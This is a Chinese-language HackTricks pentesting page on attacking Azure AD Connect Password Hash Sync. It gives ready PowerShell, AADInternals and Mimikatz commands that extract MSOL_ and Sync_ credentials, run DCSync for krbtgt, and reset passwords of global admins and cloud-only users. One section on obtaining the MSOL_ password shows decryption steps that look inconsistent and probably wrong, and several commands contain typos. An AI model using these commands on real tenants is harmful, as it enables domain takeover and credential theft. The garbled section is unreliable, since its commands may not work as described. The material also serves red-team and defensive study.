Az - PHS - Password Hash Sync

支持 HackTricks

基本信息

来自文档: Password hash synchronization 是实现混合身份的一种登录方法。Azure AD Connect 将用户密码的哈希值从本地 Active Directory 实例同步到基于云的 Azure AD 实例。

这是公司用来同步本地 AD 和 Azure AD 的最常见方法

所有用户密码哈希的哈希值都从本地同步到 Azure AD。然而,明文密码原始哈希值不会发送到 Azure AD。 此外,内置安全组(如域管理员...)不会同步到 Azure AD。

哈希同步2 分钟发生一次。然而,默认情况下,密码过期账户过期不会在 Azure AD 中同步。因此,本地密码已过期(未更改)的用户可以继续使用旧密码访问 Azure 资源

当本地用户想要访问 Azure 资源时,身份验证在 Azure AD 上进行

PHSIdentity Protection 和 AAD Domain Services 等功能所必需的。

横向移动

当配置 PHS 时,会自动创建一些特权账户

  • 账户 MSOL_<installationID> 会在本地 AD 中自动创建。此账户被赋予 Directory Synchronization Accounts 角色(参见文档),这意味着它在本地 AD 中具有复制 (DCSync) 权限

  • 账户 Sync_<name of on-prem ADConnect Server>_installationID 会在 Azure AD 中创建。此账户可以重置 Azure AD 中任何用户(同步或仅云)的密码。

前述两个特权账户的密码存储在安装了 Azure AD Connect 的服务器上的 SQL server 中。管理员可以提取这些特权用户的明文密码。 数据库位于 C:\Program Files\Microsoft Azure AD Sync\Data\ADSync.mdf

可以从其中一个表中提取配置,其中一个是加密的:

SELECT private_configuration_xml, encrypted_configuration FROM mms_management_agent;

加密配置使用 DPAPI 加密,包含本地 AD 中 MSOL_* 用户的密码和 AzureAD 中 Sync_* 的密码。因此,妥协这些账户可以提升到 AD 和 AzureAD 的权限。

你可以在这次演讲中找到这些凭据如何存储和解密的完整概述

查找 Azure AD connect 服务器

如果安装了 Azure AD connect 的服务器加入了域(文档中推荐),可以通过以下方式找到它:

# ActiveDirectory module
Get-ADUser -Filter "samAccountName -like 'MSOL_*'" - Properties * | select SamAccountName,Description | fl

#Azure AD module
Get-AzureADUser -All $true | ?{$_.userPrincipalName -match "Sync_"}

滥用 MSOL_*

Azure AD Connect 是一个工具,用于将本地 Active Directory 与 Azure Active Directory 同步。它支持多种身份验证方法,包括 Password Hash Synchronization (PHS)。在 PHS 模式下,用户的密码哈希值会从本地 AD 同步到 Azure AD。

当 Azure AD Connect 安装时,它会创建一个名为 MSOL_ 的本地帐户。此帐户用于与 Azure AD 进行通信,并具有读取本地 AD 的权限。攻击者可以滥用此帐户来获取对本地 AD 的访问权限。

获取 MSOL_ 密码

  1. 在安装 Azure AD Connect 的服务器上,打开 PowerShell。

  2. 运行以下命令以导出 MSOL_ 帐户的凭据:

    $creds = Get-ADSyncAADCredentials
  3. 使用以下命令解密凭据:

    $creds.Password | ConvertTo-SecureString -Key (1..32)
  4. 现在你可以使用解密的密码来登录 MSOL_ 帐户。

滥用 MSOL_ 帐户

一旦你获得了 MSOL_ 帐户的密码,你可以使用它来执行各种攻击,例如:

  • 读取本地 AD 中的用户和组信息。

  • 修改本地 AD 中的用户和组信息。

  • 创建新的用户和组。

通过滥用 MSOL_ 帐户,攻击者可以在本地 AD 和 Azure AD 之间进行横向移动,从而扩大他们的攻击范围。

# Once the Azure AD connect server is compromised you can extract credentials with the AADInternals module
Get-AADIntSyncCredentials

# Using the creds of MSOL_* account, you can run DCSync against the on-prem AD
runas /netonly /user:defeng.corp\MSOL_123123123123 cmd
Invoke-Mimikatz -Command '"lsadump::dcsync /user:domain\krbtgt /domain:domain.local /dc:dc.domain.local"'

你也可以使用 adconnectdump 来获取这些凭证。

滥用 Sync_*

攻陷 Sync_* 账户后,可以重置任何用户的密码(包括全局管理员)。

# This command, run previously, will give us alse the creds of this account
Get-AADIntSyncCredentials

# Get access token for Sync_* account
$passwd = ConvertTo-SecureString '<password>' -AsPlainText - Force
$creds = New-Object System.Management.Automation.PSCredential ("Sync_SKIURT-JAUYEH_123123123123@domain.onmicrosoft.com", $passwd)
Get-AADIntAccessTokenForAADGraph -Credentials $creds - SaveToCache

# Get global admins
Get-AADIntGlobalAdmins

# Get the ImmutableId of an on-prem user in Azure AD (this is the Unique Identifier derived from on-prem GUID)
Get-AADIntUser -UserPrincipalName onpremadmin@domain.onmicrosoft.com | select ImmutableId

# Reset the users password
Set-AADIntUserPassword -SourceAnchor "3Uyg19ej4AHDe0+3Lkc37Y9=" -Password "JustAPass12343.%" -Verbose

# Now it's possible to access Azure AD with the new password and op-prem with the old one (password changes aren't sync)

也可以修改仅云用户的密码(即使这是意料之外的)

# To reset the password of cloud only user, we need their CloudAnchor that can be calculated from their cloud objectID
# The CloudAnchor is of the format USER_ObjectID.
Get-AADIntUsers | ?{$_.DirSyncEnabled -ne "True"} | select UserPrincipalName,ObjectID

# Reset password
Set-AADIntUserPassword -CloudAnchor "User_19385ed9-sb37-c398-b362-12c387b36e37" -Password "JustAPass12343.%" -Verbosewers

也可以导出该用户的密码。

另一种选择是将特权权限分配给服务主体Sync用户有权限这样做,然后访问该服务主体作为提权的一种方式。

Seamless SSO

可以将Seamless SSO与PHS一起使用,这容易受到其他滥用。请查看:

Az - Seamless SSO

参考资料

支持HackTricks

Last updated